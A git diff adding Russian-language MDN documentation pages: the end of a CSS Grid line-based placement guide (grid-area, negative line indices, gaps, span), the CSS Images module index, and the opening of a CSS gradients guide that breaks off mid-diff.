+   grid-column-end: 4;
+   grid-row-start: 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('End_Lines', '300', '330') }}</p>
+</div>
+
+<p>Поэтому, если мы хотим, чтобы элементы занимали только один трек, наша сокращенная запись будет выглядеть вот так, без слэша и без второго значения:</p>
+
+<div id="New_Shorthand">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.box1 {
+   grid-column: 1 ;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 ;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 ;
+   grid-row: 1 ;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 ;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('New_Shorthand', '300', '330') }}</p>
+</div>
+
+<h2 id="Свойство_grid-area">Свойство <code>grid-area</code></h2>
+
+<p>Мы можем пойти еще дальше и определить целую область с помощью одного единственного свойства – {{cssxref("grid-area")}}. Порядок свойств для грид-области следующий:</p>
+
+<ul>
+ <li>grid-row-start</li>
+ <li>grid-column-start</li>
+ <li>grid-row-end</li>
+ <li>grid-column-end</li>
+</ul>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+.box2 {
+   grid-area: 1 / 3 / 3 / 4;
+}
+.box3 {
+   grid-area: 1 / 2 / 2 / 3;
+}
+.box4 {
+   grid-area: 3 / 2 / 4 / 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('The_grid-area_property', '300', '330') }}</p>
+
+<p>Порядок значений для <code>grid-area</code> может показаться немного странным, он противоположен тому порядку, в котором мы, например, записываем значения для сокращенных свойств margin и padding. Но сделано это потому, что грид работает с направлениями относительно потока, определенными в спецификации CSS Writing Modes. В дальнейшем мы рассмотрим, как гриды взаимодействуют с режимами написания (writing modes), но пока давайте примем за данность, что мы имеем дело с концепцией четырех направлений относительно потока:</p>
+
+<ul>
+ <li>block-start (начало блока)</li>
+ <li>block-end (конец блока)</li>
+ <li>inline-start (начало строки)</li>
+ <li>inline-end (конец строки)</li>
+</ul>
+
+<p>Мы работаем с русским, языком с написанием слева направо. Начало нашего блока (block-start) - верхняя строчная линия грид-контейнера, конец блока (block-end) - последняя строчная линия контейнера. Начало строки (inline-start) - самая левая колоночная линия, поскольку начало строки - это всегда точка, с которой начинается написание текста в заданном режиме написания. Конец строки (inline-end) - последняя колоночная линия грида.</p>
+
+<p>Когда мы задаем нашу грид-область с помощью свойства <code>grid-area</code> , мы сначала определяем обе начальные линии <code>block-start</code> и <code>inline-start</code>, а затем обе конечные линии  <code>block-end</code> и <code>inline-end</code>. Поскольку мы давно работаем с физическими свойствами top, right, bottom и left, поначалу это кажется непривычным, но вполне осмысленно, если осознать, что относительно режима написания вебсайты - многонаправленные структуры.</p>
+
+<h2 id="Считая_с_конца">Считая с конца</h2>
+
+<p>Мы также можем отсчитывать грид-линии с конца, то есть с последней (для русского языка - самой правой) колоночной и последней (самой нижней) строчной линий. Индекс этих линий будет <code>-1</code>, а линий непосредственно перед ними <code>-2,</code> и так далее. Нужно помнить, что под последней линией понимается последняя линия явного грида (<em>explicit grid)</em>, то есть грида, определенного с помощью <code>grid-template-columns</code> и<code>grid-template-rows.</code> Любые линии строк и колонок, добавленные неявным гридом (<em>implicit grid)</em> не считаются.</p>
+
+<p>В примере ниже мы "перевернули" определение нашего грида, при размещении элементов задавая линии с конца, то есть, от правого и нижнего краев.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.box1 {
+   grid-column-start: -1;
+   grid-column-end: -2;
+   grid-row-start: -1;
+   grid-row-end: -4;
+}
+.box2 {
+   grid-column-start: -3;
+   grid-column-end: -4;
+   grid-row-start: -1;
+   grid-row-end: -3;
+}
+.box3 {
+   grid-column-start: -2;
+   grid-column-end: -3;
+   grid-row-start: -1;
+   grid-row-end: -2;
+}
+.box4 {
+   grid-column-start: -2;
+   grid-column-end: -4;
+   grid-row-start: -3;
+   grid-row-end: -4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Counting_backwards', '300', '330') }}</p>
+
+<h3 id="Как_растянуть_элемент_на_длину_всего_грида">Как растянуть элемент на длину всего грида?</h3>
+
+<p>Возможность адресовать и первую, и последнюю линии грида становится крайне полезной, если нам нужно растянуть элемент на всю длину грида. Сделать это можно вот так:</p>
+
+<pre class="brush: css notranslate">.item {
+  grid-column: 1 / -1;
+}
+</pre>
+
+<h2 id="Зазоры_Gutters_или_аллеи_Alleys">Зазоры (Gutters) или аллеи (Alleys)</h2>
+
+<p>Спецификация CSS Grid включает возможность добавлять промежутки (зазоры) между треками-колонками и треками-строками с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}. Эти свойства задают промежутки, которые во многом действуют точно так же, как свойство {{cssxref("column-gap")}} в многоколоночных макетах.</p>
+
+<p>Зазоры появляются только между треками и не добавляют пространство сверху, снизу, справа или слева грид-контейнеру. Мы можем добавить зазоры в предыдущий пример, дописав эти свойства грид-контейнеру.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.box1 {
+   grid-column: 1 ;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 ;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 ;
+   grid-row: 1 ;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 ;
+}
+.wrapper {
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+     grid-column-gap: 20px;
+     grid-row-gap: 1em;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Gutters_or_Alleys', '300', '350') }}</p>
+
+<h3 id="Сокращенная_запись_для_грид-зазоров">Сокращенная запись для грид-зазоров</h3>
+
+<p>Оба свойства также можно записать с помощью свойства-сокращения {{cssxref("grid-gap")}}. Если задать только одно значение, то оно определит размер зазоров и между колонками, и между строками. Если мы задаем два значения, то первое используется для <code>grid-row-gap</code> , а второе - для <code>grid-column-gap</code>.</p>
+
+<pre class="brush: css notranslate">.wrapper {
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+     grid-gap: 1em 20px;
+}
+</pre>
+
+<p>В терминах расположения элементов по грид-линиям (line-based positioning) зазоры ведут себя так, как если бы самой линии была добавлена толщина. Все, что должно было начинаться от линии, начинается от нее на расстоянии зазора, и Вы не можете адресовать зазор напрямую или поместить в него что-нибудь. Если Вам нужны зазоры, которые ведут себя, как обыкновенные треки, что же - определите трек, а не зазор.</p>
+
+<h2 id="Использование_ключевого_слова_span">Использование ключевого слова <code>span</code> </h2>
+
+<p>В дополнение к возможности обращаться к начальной и конечной линии по их номерам Вы можете задать номер начальной линии, а после - количество треков, которые должен занять элемент.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.box1 {
+  grid-column: 1;
+  grid-row: 1 / span 3;
+}
+.box2 {
+   grid-column: 3;
+   grid-row: 1 / span 2;
+}
+.box3 {
+   grid-column: 2;
+   grid-row: 1;
+}
+.box4 {
+   grid-column: 2 / span 2;
+   grid-row: 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Using_the_span_keyword', '300', '330') }}</p>
+
+<p>Ключево слово  <code>span</code> также можно использовать в качестве значения <code>grid-row-start</code>/<code>grid-row-end</code> и<code>grid-column-start/grid-column-end</code>. Два примера ниже создают одну и ту же грид-область. В первом примере мы задаем начальную строчную линию, а после говорим свойству, отвечающему за конечную линию: эй, мы хотим занять под этот элемент три линии. В итоге, грид-область начинается с первой линии и занимает пространство до 4-ой.</p>
+
+<pre class="notranslate">.box1 {
+    grid-column-start: 1;
+    grid-row-start: 1;
+    grid-row-end: span 3;
+}
+</pre>
+
+<p>Во втором примере поступим наоборот: зададим конечную строчную линию, а в значении свойства, отвечающего за начальную линию, напишем <code>span 3</code>. Это значит, что элемент должен занять три трека до заданной конечной линии. Грид-область начинается с линии 4 и занимает три трека до линии 1.</p>
+
+<pre class="notranslate">.box1 {
+    grid-column-start: 1;
+    grid-row-start: span 3;
+    grid-row-end: 4;
+}
+</pre>
+
+<p>Чтобы лучше освоиться с размещением элементов по грид-линиям, попробуйте собрать несколько распространенных макетов, располагая элементы на гридах с различным количеством колонок. Помните, что если вы не размещаете все Ваши элементы, оставшиеся располагаются в соответствии с правилами авторазмещения. В результате может получиться как раз тот макет, который Вам нужен, но не факт, и если что-то пошло не так, проверьте, определили ли Вы позицию для проблемного элемента.</p>
+
+<p>Также помните, что элементы на гриде могут перекрывать друг друга, если Вы намеренно разместили их так, чтобы они друг друга перекрывали. Подобное поведение позволяет получить интересные эффекты, но, если Вы некорректно задали начальные и конечные линии, результат может неприятно Вас удивить. <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a> будет крайне полезен в процессе обучения, особенно, когда Вы строите сложные гриды.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Размещение элементов по грид-линиям</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/css_images/index.html b/files/ru/web/css/css_images/index.html
new file mode 100644
index 0000000000..6bd0d2b7de
--- /dev/null
+++ b/files/ru/web/css/css_images/index.html
@@ -0,0 +1,148 @@
+---
+title: CSS Images
+slug: Web/CSS/CSS_Images
+tags:
+  - CSS Images
+  - CSS руководство
+translation_of: Web/CSS/CSS_Images
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Images</strong> - модуль в CSS, который определяет, какие типы изображений можно использовать (тип {{cssxref("&lt;image&gt;")}}, содержащий URL, градиенты и другие типы изображений), как изменять их размер и как они, и другие замещённые элементы, взаимодействуют с другими моделями макетов.</p>
+
+<h2 id="Справка">Справка</h2>
+
+<h3 id="Свойства">Свойства</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("image-orientation")}}</li>
+ <li>{{cssxref("image-rendering")}}</li>
+ <li>{{cssxref("object-fit")}}</li>
+ <li>{{cssxref("object-position")}}</li>
+</ul>
+</div>
+
+<h3 id="Функции">Функции</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("linear-gradient", "linear-gradient()")}}</li>
+ <li>{{cssxref("radial-gradient", "radial-gradient()")}}</li>
+ <li>{{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}</li>
+ <li>{{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}}</li>
+ <li>{{cssxref("element", "element()")}}</li>
+</ul>
+</div>
+
+<h3 id="Типы_данных">Типы данных</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;uri&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Руководства">Руководства</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Использование CSS градиентов</a></dt>
+ <dd>Представляют собой особый тип CSS изображений, <em>градиенты</em>, как создавать и использовать их.</dd>
+ <dt><a href="/ru/docs/Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS">Создание спрайтов в CSS</a></dt>
+ <dd>Описывает общую технику группировки нескольких изображений в один документ, чтобы сократить количество запросов и скорость загрузки страницы.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Compat', '#css-%3Cimage%3E-type', 'CSS Gradients')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Стандартизирует префиксную форму <code>-webkit</code> значений функции</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#urls', '&lt;url&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{Specname('CSS2.1', 'syndata.html#uri', '&lt;uri&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#url', '&lt;url&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/css_images/using_css_gradients/index.html b/files/ru/web/css/css_images/using_css_gradients/index.html
new file mode 100644
index 0000000000..994886ec7a
--- /dev/null
+++ b/files/ru/web/css/css_images/using_css_gradients/index.html
@@ -0,0 +1,746 @@
+---
+title: Использование CSS-градиентов
+slug: Web/CSS/CSS_Images/Using_CSS_gradients
+tags:
+  - Градиенты
+  - Примеры
+  - Руководство
+translation_of: Web/CSS/CSS_Images/Using_CSS_gradients
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS-градиенты</strong> представлены типом данных {{cssxref("&lt;gradient&gt;")}}, специальным типом {{cssxref("&lt;image&gt;")}}, состоящим из последовательного перехода между двумя и более цветами. Вы можете выбрать один из трёх типов градиентов: <em>линейный</em> (создаётся с помощью функции {{cssxref("linear-gradient")}}), <em>круговой</em> (создаётся с помощью {{cssxref("radial-gradient")}}) и конический (создаётся с помощью функции {{cssxref("conic-gradient")}}). Вы можете также создавать повторяющиеся градиенты с помощью функций {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}} и {{cssxref("repeating-conic-gradient")}}.</p>
+
+<p>Градиенты могут быть использованы везде, где может быть использован тип <code>&lt;image&gt;</code>, например в качестве фона. Так как градиенты генерируются динамически, они могут избавить от необходимости использовать файлы растровых изображений, которые ранее использовались для достижения похожих эффектов. В дополнение к этому, так как градиенты генерируются браузером, они выглядят лучше, чем растровые изображения в случае увеличения масштаба, и их размер может быть изменён на лету.</p>
+
+<p>Мы начнём с того, что покажем вам линейные градиенты, затем покажем возможности, поддерживаемые всеми типами градиентов, используя линейные градиенты в качестве примера, затем перейдём к круговым, коническим и повторяющимся градиентам.</p>
+
+<h2 id="Использование_линейных_градиентов">Использование линейных градиентов</h2>
+
+<p>Линейный градиент создаёт цветную полосу, имеющую вид прямой линии.</p>
+
+<div>
+<h3 id="Обычный_линейный_градиент">Обычный линейный градиент</h3>
+
+<p>Чтобы создать самый простой тип градиента, всё, что вам нужно – это указать два цвета. Они называются <em>точки остановки цвета</em>. Их должно быть, как минимум, две, но у вас может быть столько, сколько захотите.</p>
+
+<div class="hidden">
+<pre class="brush: html" dir="rtl">&lt;div class="simple-linear"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.simple-linear {
+  background: linear-gradient(blue, pink);
+}</pre>
+
+<p>{{ EmbedLiveSample('Обычный_линейный_градиент', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Изменение_направления">Изменение направления</h3>
+
+<p>По умолчанию линейные градиенты идут сверху вниз. Вы можете изменить угол поворота путём задания направления.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="horizontal-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.horizontal-gradient {
+  background: linear-gradient(to right, blue, pink);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Изменение_направления', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Диагональные_градиенты">Диагональные градиенты</h3>
+
+<p>Вы можете даже создать градиент, проходящий диагонально, из угла в угол.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="diagonal-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  width: 200px;
+  height: 100px;
+}</pre>
+</div>
+
+<pre class="brush: css">.diagonal-gradient {
+  background: linear-gradient(to bottom right, blue, pink);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Диагональные_градиенты', 200, 100) }}</p>
+</div>
+
+<div>
+<h3 id="Использование_углов">Использование углов</h3>
+
+<p>Если вы хотите больше контроля над его направлением, вы можете задать градиенту определённый угол.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="angled-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.angled-gradient {
+  background: linear-gradient(70deg, blue, pink);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Использование_углов', 120, 120) }}</p>
+
+<p>При использовании угла <code>0deg</code> создаётся вертикальный градиент, идущий снизу вверх, <code>90deg</code> создаёт горизонтальный градиент, идущий слева направо, и так далее по часовой стрелке. Отрицательные углы идут против часовой стрелки.</p>
+
+<p><img alt="linear_redangles.png" class="default internal" src="/files/3811/linear_red_angles.png"></p>
+</div>
+
+<h2 id="Указание_цветов_и_создание_эффектов">Указание цветов и создание эффектов</h2>
+
+<p>Все типы CSS-градиентов – это диапазон позиционно-зависимых цветов. Цвета, создаваемые CSS-градиентами, могут варьироваться непрерывно с изменением позиции, создавая плавные цветовые переходы. Возможно также создавать полосы сплошных цветов, и резкие переходы между двумя цветами. Следующее примеры работают во всех градиентных функциях:</p>
+
+<div>
+<h3 id="Использование_более_двух_цветов">Использование более двух цветов</h3>
+
+<p>Вам не нужно ограничиваться двумя цветами – вы можете использовать столько, сколько хотите! По умолчанию цвета равномерно распределены по градиенту.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="auto-spaced-linear-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.auto-spaced-linear-gradient {
+  background: linear-gradient(red, yellow, blue, orange);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Использование_более_двух_цветов', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Расположение_точек_остановок_цветов">Расположение точек остановок цветов</h3>
+
+<p>Вам не нужно оставлять ваши точки остановок цветов на их исходных позициях. Чтобы подправить их расположение, вы можете не задавать каждому ничего, или задать одну или две процентные, а для круговых и линейных градиентов – абсолютные значения. Если вы зададите расположение с процентах, <code>0%</code> будет представлять начальную точку, в то время как <code>100%</code> будет являться конечной точкой; однако, если необходимо, вы можете использовать значения и вне этого диапазона для достижения желаемого эффекта. Если вы не будете задавать расположение, позиция этой точки остановки будет автоматически рассчитана за вас так, что первая точка остановки будет расположена на <code>0%</code>, а последняя – на <code>100%</code>, а все остальные точки остановки будут расположены на полпути между соседними точками остановки.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="multicolor-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.multicolor-linear {
+   background: linear-gradient(to left, lime 28px, red 77%, cyan);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Расположение_точек_остановок_цветов', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Создание_резких_переходов">Создание резких переходов</h3>
+
+<p>Чтобы создать резкий переход между двумя цветами, т. е. получить черту вместо постепенного перехода, обе соседние точки остановки должны быть установлены в одном месте. В этом примере цвета делят точку остановки на отметке <code>50%</code>, посередине градиента:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="striped"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.striped {
+   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
+}</pre>
+
+<p>{{ EmbedLiveSample('Создание_резких_переходов', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Подсказки_градиента">Подсказки градиента</h3>
+
